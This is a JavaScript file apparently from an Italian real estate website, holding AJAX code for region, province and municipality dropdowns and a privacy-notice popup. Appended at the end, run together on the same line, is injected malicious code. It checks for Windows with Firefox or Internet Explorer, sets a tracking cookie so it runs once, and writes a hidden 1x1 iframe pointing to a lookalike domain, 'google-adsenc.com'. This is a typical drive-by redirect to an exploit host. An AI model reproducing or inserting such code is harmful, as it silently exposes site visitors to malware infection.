	var myRequest = null;
	var myRequest2 = null;
	var myRequest3 = null;

	function CreateXmlHttpReq(handler) {
	  var xmlhttp = null;
	  try {
		xmlhttp = new XMLHttpRequest();
	  } catch(e) {
		try {
			xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	  xmlhttp.onreadystatechange = handler;
	  return xmlhttp;
	}
	
	function myHandler() {
		if (myRequest.readyState == 4 && myRequest.status == 200) {
			document.getElementById("regioni_SP").innerHTML = myRequest.responseText;
		}
	}
	
	function myHandler_prov() {
		if (myRequest2.readyState == 4 && myRequest2.status == 200) {
			document.getElementById("province_SP").innerHTML = myRequest2.responseText;
		}
	}
	
	function myHandler_com() {
		if (myRequest3.readyState == 4 && myRequest3.status == 200) {
			document.getElementById("comuni_SP").innerHTML = myRequest3.responseText;
		}
	}
		
	function populate_regioni(pag) {
		var r = Math.random();
		myRequest = CreateXmlHttpReq(myHandler);
		myRequest.open("GET",pag+"?rand="+escape(r));
		myRequest.send(null);
	}
	
	function populate_province() {	
		myRequest2 = CreateXmlHttpReq(myHandler_prov);
		i = document.getElementById('cod_regione').selectedIndex;
		myRequest2.open("GET","province.php?cod_regione="+document.getElementById('cod_regione').options[i].value);
		myRequest2.send(null);
		document.getElementById('cod_regione_h').value=document.getElementById('cod_regione').options[i].value;
	}
	
	function populate_comuni() {	
		myRequest3 = CreateXmlHttpReq(myHandler_com);
		i = document.getElementById('cod_provincia').selectedIndex;
		myRequest3.open("GET","comuni.php?cod_provincia="+document.getElementById('cod_provincia').options[i].value);
		myRequest3.send(null);
		document.getElementById('cod_provincia_h').value=document.getElementById('cod_provincia').options[i].value;
	}
	
	function salva_comuni() {	
		i = document.getElementById('cod_comune').selectedIndex;
		document.getElementById('cod_comune_h').value=document.getElementById('cod_comune').options[i].value;
	}
	
	
	
	function avvisoprivacy() { 	   	
			var finestra = window.open("","Privacy","height=230,width=450");
			finestra.document.write("<h2>Informativa sulla Privacy.</h2>");
			finestra.document.write("La informiamo che i dati da lei inseriti saranno trattati al solo fine di fornirle le informazioni richieste. I suoi dati saranno trattati con mezzi informatici nel rispetto dei principi stabiliti dal codice della Privacy (D. Legisl. 196/2003). Per ulteriori informazioni sulle modalità del trattamento, e per esercitare gli altri diritti a  lei riconosciuti dall'articolo 7 del Codice della Privacy, potraà rivolgersi al Titolare dell'agenzia immobiliare.");
			finestra.document.close();
		}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
